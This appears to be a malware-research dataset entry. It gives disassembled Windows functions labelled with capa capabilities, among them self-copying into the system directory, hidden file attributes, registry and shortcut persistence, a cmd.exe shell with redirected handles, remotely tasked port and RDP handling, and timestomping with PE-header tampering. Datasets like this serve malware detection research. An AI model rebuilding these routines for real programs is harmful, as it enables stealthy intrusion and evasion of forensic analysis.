joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a9c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403bff
push ebx
add eax, eax
push esi
lea ecx, [ebp + eax - 0x212]
push edi
lea ebx, [ebp + eax - 0x218]
mov dword [ebp - 0xc], ecx
lea esi, [ebp + eax - 0x216]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov word [ebx], ax
push str.__.exe
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
call fcn.00402727
add eax, 0x61
push 0x19
mov word [esi], ax
call fcn.00402727
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403adc
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edi, edi
push dword [edi + 0x40b018]
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403adc
add edi, 4
cmp edi, 0xa8
jb 0x403b3c
lea eax, [ebp - 0x43c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
test eax, eax
je 0x403adc
lea eax, [ebp - 0x218]
push 6
push eax
call fcn.00406591
pop ecx
pop ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x403adc
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.install
push eax
call edi
test eax, eax
jne 0x403bd5
push str.setup
push dword [ebp - 8]
call edi
test eax, eax
jne 0x403bd5
push str.update
push dword [ebp - 8]
call edi
mov byte [ebp - 1], 0
test eax, eax
je 0x403bd9
mov byte [ebp - 1], 1
push dword [ebp - 8]
call fcn.0040264c
cmp byte [ebp - 1], 0
pop ecx
jne 0x403adc
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403c54
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edi, eax
test edi, edi
je 0x403ddb
push dword [ebp + 0xc]
lea eax, [ebp - 0x21c]
push eax
call fcn.00403c01
pop ecx
pop ecx
test al, al
je 0x403ddb
push 0xfffe
call fcn.004025af
pop ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x403ddb
and dword [ebp - 4], 0
push ebx
push esi
push 6
push 2
call fcn.00402759
push dword [ebp + 0xc]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x674]
push str.___s
push eax
call esi
lea eax, [edi + edi]
lea ecx, [ebp + eax - 0x21c]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + eax - 0x216]
add esp, 0x14
mov dword [ebp - 0xc], ecx
lea edi, [ebp + eax - 0x21a]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x674]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
call fcn.00402727
add eax, 0x61
push 0x19
mov word [edi], ax
call fcn.00402727
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403dc4
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x440]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [ebp + 0xc]
mov ebx, eax
push 0x19
call fcn.00402727
add eax, 0x61
movzx eax, ax
pop ecx
push eax
lea eax, [ebp + ebx*2 - 0x448]
push str._c_s
push eax
call esi
lea eax, [ebp - 0x440]
push eax
push dword [ebp + 8]
push str._s_s
push dword [ebp - 8]
call esi
add esp, 0x20
push 1
push dword [ebp - 8]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403dc4
inc dword [ebp - 4]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 4], eax
jne 0x403cf3
push dword [ebp - 8]
call fcn.0040264c
pop ecx
pop esi
pop ebx
pop edi
leave
ret
Function at 0x403dde
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
lea eax, [ebp - 0x260]
push edi
push eax
call fcn.00403a9c
pop ecx
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edi, dword [ebp + 8]
push eax
push edi
lea eax, [ebp - 4]
push str._s_s
push eax
call fcn.00402f3b
add esp, 0x10
test eax, eax
je 0x403ef2
push esi
push edi
call fcn.00406c8c
pop ecx
push 0
push dword [ebp - 4]
push 0x41be90
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push dword [ebp - 4]
lea eax, [ebp - 0x260]
push eax
call fcn.00406991
pop ecx
pop ecx
push 6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x1c], str..dll
mov dword [ebp - 0x18], str..xml
mov dword [ebp - 0x14], str..cpl
mov dword [ebp - 0x10], str..vbs
mov dword [ebp - 0xc], str..tlb
mov dword [ebp - 8], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x1c]
push edi
call fcn.00403c54
inc esi
pop ecx
pop ecx
cmp esi, 6
jb 0x403e80
push edi
call fcn.00403908
cmp byte [ebp + 0xc], 0
pop ecx
pop esi
push dword [ebp - 4]
je 0x403eab
call fcn.004058f8
pop ecx
jmp 0x403ee9
call fcn.00405089
push 0x38
lea eax, [ebp - 0x54]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
and dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], eax
add esp, 0x10
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x58], 0x3c
mov dword [ebp - 0x54], 0xc600
mov dword [ebp - 0x4c], str.open
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push dword [ebp - 4]
call fcn.0040264c
pop ecx
pop edi
leave
ret

Function at 0x403ef5
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
xor ebx, ebx
push esi
mov esi, 0x40b478
cmp word [0x40b478], bx
jne 0x403fa9
cmp byte [ebp + 8], bl
je 0x403f59
cmp byte [0x40b474], bl
je 0x403f30
movzx eax, word [0x41b480]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403f4d
push ebx
push 0x26
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x218]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403f71
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040333a
push eax
call fcn.0040309f
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.0040302d
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x404088
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x40
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41b480
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
mov esi, str.cmd.exe
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push ebx
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40410b
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4042a9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x41b688]
mov ecx, dword [0x42be94]
push esi
xor esi, esi
xor edx, edx
push edi
cmp eax, esi
jbe 0x4042d0
mov edi, dword [ecx + edx*8]
cmp edi, dword [ebp + 8]
je 0x404348
inc edx
cmp edx, eax
jb 0x4042c3
push ebx
lea eax, [eax*8 + 8]
push eax
push ecx
call fcn.004025be
mov edx, dword [0x41b688]
inc dword [0x41b688]
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
push esi
push esi
push 4
push esi
push esi
push 0x40000000
push 0x41b690
mov dword [0x42be94], eax
mov dword [eax + edx*8], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404347
push 2
push esi
mov dword [ebp - 8], esi
xor eax, eax
lea edi, [ebp - 4]
stosd dword es:[edi], eax
push dword [ebp - 4]
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40434c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
call fcn.00401b0c
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x4044c3
push esi
push edi
push str.task_result
mov edi, str.type
push edi
push ebx
call fcn.004020a1
call fcn.0040333a
push eax
mov esi, 0x408b1c
push esi
push ebx
call fcn.004020a1
push esi
push dword [ebp + 8]
call fcn.004019c3
push eax
call fcn.00401b38
cdq
push edx
push eax
push str.task_id
push ebx
call fcn.00402066
push str.port1
push dword [ebp + 8]
call fcn.004019c3
push eax
call fcn.00401b38
push edi
push dword [ebp + 8]
movzx esi, ax
call fcn.004019c3
push eax
call fcn.00401b38
mov ebx, eax
sub eax, 0x64
je 0x40447a
dec eax
je 0x404476
dec eax
je 0x40445d
dec eax
je 0x404476
dec eax
je 0x404453
dec eax
je 0x40443b
dec eax
dec eax
jne 0x4044c1
push str.gates
push dword [ebp + 8]
call fcn.004019c3
mov edi, eax
test edi, edi
je 0x4044c1
push edi
call fcn.00401890
mov ebx, eax
xor esi, esi
test ebx, ebx
je 0x4044c1
push esi
push edi
call fcn.004018c5
push eax
call fcn.00401b38
push eax
call fcn.004042a9
inc esi
pop ecx
cmp esi, ebx
jb 0x40441d
jmp 0x4044c1
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004034b6
add esp, 0xc
test al, al
je 0x4044c1
call fcn.00404042
push 1
call fcn.004037c1
pop ecx
jmp 0x4044c1
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push getsockname
call fcn.00402ac0
add esp, 0xc
jmp 0x40448d
xor edi, edi
jmp 0x404490
push str.port2
push dword [ebp + 8]
call fcn.004019c3
push eax
call fcn.00401b38
movzx edi, ax
push 0xc
call fcn.004025af
pop ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax + 4], ecx
xor ecx, ecx
push ecx
push ecx
push eax
push 0x4041be
push ecx
push ecx
mov word [eax], si
mov word [eax + 2], di
mov dword [eax + 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
leave
ret
Function at 0x40467e
Capabilities:
Check mutex on windows
Get file size
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x59c
push ebx
lea eax, [ebp - 0x59c]
push eax
push dword [ebp + 8]
call fcn.0040348f
pop ecx
pop ecx
lea eax, [ebp - 0x59c]
push eax
xor ebx, ebx
push ebx
push 0x42beac
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x404885
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404885
call fcn.00406d8f
mov esi, eax
cmp esi, ebx
je 0x4046e8
push ebx
push ebx
push esi
call fcn.00402cc1
push esi
mov dword [0x42be90], eax
call fcn.0040264c
add esp, 0x10
push ebx
mov esi, 0x41b690
push esi
push 0x400
push str..common_1.dll
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0x18
mov dword [0x41b688], 3
call fcn.004025a0
pop ecx
mov ecx, dword [0x41b688]
xor edx, edx
mov dword [0x42be94], eax
cmp ecx, ebx
jbe 0x404731
mov edi, dword [edx*4 + 0x40b0c8]
mov dword [eax + edx*8], edi
inc edx
cmp edx, ecx
jb 0x404722
push ebx
push ebx
push 4
push ebx
push ebx
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4047c3
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
jmp 0x4047b6
push ebx
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x41b688]
sub esi, dword [ebp - 0xc]
mov ecx, dword [0x42be94]
xor edx, edx
cmp eax, ebx
jbe 0x40478f
mov edi, dword [ecx + edx*8]
cmp edi, dword [ebp - 4]
je 0x4047b6
inc edx
cmp edx, eax
jb 0x404782
lea eax, [eax*8 + 8]
push eax
push ecx
call fcn.004025be
mov edx, dword [0x41b688]
inc dword [0x41b688]
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov dword [0x42be94], eax
mov dword [eax + edx*8], ecx
cmp esi, ebx
jne 0x404757
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x41b478
push str.kernel32.dll
call fcn.0040322b
pop ecx
pop ecx
lea eax, [ebp - 0x19c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
cmp dword [0x41b688], ebx
jbe 0x404875
mov eax, dword [0x42be94]
push 0x27dc
push dword [eax + esi*8]
call fcn.004044c9
pop ecx
pop ecx
test al, al
jne 0x40481f
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [0x41b688]
jb 0x4047f4
jmp 0x404875
call fcn.00403208
mov ecx, dword [0x42be94]
mov dword [ecx + esi*8 + 4], eax
mov eax, dword [0x41b688]
cmp eax, 1
jb 0x404875
lea edi, [eax - 1]
mov dword [ebp - 4], eax
cmp edi, ebx
jbe 0x404870
lea eax, [ecx + 8]
mov dword [ebp - 8], edi
mov edx, dword [eax - 4]
cmp edx, dword [eax + 4]
jae 0x404868
mov ebx, dword [eax - 8]
mov edx, dword [eax]
mov esi, dword [eax + 4]
mov dword [eax], ebx
mov ebx, dword [eax - 4]
mov dword [eax + 4], ebx
mov dword [eax - 8], edx
mov dword [eax - 4], esi
xor ebx, ebx
add eax, 8
dec dword [ebp - 8]
jne 0x404848
dec dword [ebp - 4]
jne 0x40483e
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4047e6
pop ebx
leave
ret
Function at 0x404b65
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
and dword [ebp - 8], 0
push esi
mov esi, 0x42beb8
push esi
lea eax, [ebp - 8]
push str._s.lnk
push eax
mov byte [ebp - 1], 0
call fcn.00402f3b
add esp, 0xc
test eax, eax
je 0x404c30
push ebx
push edi
mov edi, 0xfffe
push edi
call fcn.004025af
mov ebx, eax
pop ecx
test ebx, ebx
je 0x404c25
push edi
call fcn.004025af
mov edi, eax
pop ecx
test edi, edi
je 0x404c1e
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x404c17
lea eax, [ebp - 0x230]
push eax
push esi
push str._s_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push ebx
call fcn.00404ab6
add esp, 0x1c
test al, al
jne 0x404c0a
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404bcf
jmp 0x404c0e
mov byte [ebp - 1], 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040264c
pop ecx
push ebx
call fcn.0040264c
pop ecx
push dword [ebp - 8]
call fcn.0040264c
pop ecx
pop edi
pop ebx
mov al, byte [ebp - 1]
pop esi
leave
ret

Function at 0x404f48
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call fcn.004066a8
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402f3b
mov esi, eax
add esp, 0x14
add esi, esi
je 0x404fe8
push edi
xor edi, edi
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [edi + 0x40b0d4]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404fd6
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00404e4a
add esp, 0xc
test al, al
jne 0x404fcd
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add edi, 4
cmp edi, 8
jb 0x404f82
push dword [ebp - 4]
call fcn.0040264c
pop ecx
pop edi
pop esi
leave
ret

Function at 0x40505c
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
xor eax, eax
cmp word [0x42beb8], ax
jne 0x40507a
push 0x42beb8
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404feb
pop ecx
jmp fcn.00404d7d
Function at 0x405089
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x224
push 0x409a58
call fcn.00406fe8
mov esi, ecx
push esi
call fcn.00404b65
pop ecx
test al, al
jne 0x404d77
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4099c4
push 1
push ebx
push 0x4099e4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x404d77
lea eax, [ebp - 0x234]
push eax
push esi
call fcn.004066a8
push 0xfffe
call fcn.004025af
add esp, 0xc
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp edi, ebx
je 0x404d6e
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x234]
push eax
push 0x42beb8
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402f3b
add esp, 0x1c
test eax, eax
je 0x404d65
push 6
push esi
call fcn.00406591
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x404d0c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x4099d4
push eax
call dword [ecx]
test eax, eax
js 0x404d3b
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
jmp 0x404d4e
cmp dword [ebp - 0x20], ebx
je 0x404d5c
push dword [ebp - 0x20]
call fcn.0040264c
pop ecx
push dword [ebp - 0x28]
call fcn.0040264c
pop ecx
push dword [ebp - 0x2c]
call fcn.0040264c
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.00407023
ret
xor eax, eax
cmp word [0x42beb8], ax
jne 0x4050a7
push 0x42beb8
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404f48
pop ecx
mov ecx, dword [esp + 4]
jmp 0x404c36
Function at 0x405313
Capabilities:
Read file via mapping
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
or edi, 0xffffffff
mov dword [ebp - 4], esi
cmp esi, edi
je 0x40551c
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x405501
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4054f8
mov esi, dword [eax + 0x3c]
add esi, eax
movzx eax, word [esi + 4]
cmp eax, 0x14c
je 0x40544a
cmp eax, 0x8664
jne 0x4054ef
push edi
call fcn.00402727
push edi
mov dword [esi + 0x28], eax
call fcn.00402727
push edi
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], ebx
call fcn.00402727
push edi
mov dword [esi + 0xb4], eax
call fcn.00402727
push edi
mov dword [esi + 0xb0], eax
call fcn.00402727
push edi
mov dword [esi + 0xa4], eax
call fcn.00402727
push edi
mov dword [esi + 0xa0], eax
call fcn.00402727
push edi
mov dword [esi + 0xd4], eax
call fcn.00402727
push edi
mov dword [esi + 0xd0], eax
call fcn.00402727
push edi
mov dword [esi + 0x94], eax
call fcn.00402727
push edi
mov dword [esi + 0x90], eax
call fcn.00402727
push edi
mov dword [esi + 0xe4], eax
call fcn.00402727
push edi
mov dword [esi + 0xe0], eax
call fcn.00402727
push edi
mov dword [esi + 0xec], eax
call fcn.00402727
mov dword [esi + 0xe8], eax
jmp 0x4054ec
push edi
call fcn.00402727
push edi
mov dword [esi + 0x28], eax
call fcn.00402727
push edi
mov dword [esi + 0x34], eax
call fcn.00402727
push edi
mov dword [esi + 0xa4], eax
call fcn.00402727
push edi
mov dword [esi + 0xa0], eax
call fcn.00402727
push edi
mov dword [esi + 0x94], eax
call fcn.00402727
push edi
mov dword [esi + 0x90], eax
call fcn.00402727
push edi
mov dword [esi + 0xc4], eax
call fcn.00402727
push edi
mov dword [esi + 0xc0], eax
call fcn.00402727
push edi
mov dword [esi + 0x84], eax
call fcn.00402727
push edi
mov dword [esi + 0x80], eax
call fcn.00402727
push edi
mov dword [esi + 0xd4], eax
call fcn.00402727
push edi
mov dword [esi + 0xd0], eax
call fcn.00402727
push edi
mov dword [esi + 0xdc], eax
call fcn.00402727
mov dword [esi + 0xd8], eax
add esp, 0x38
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret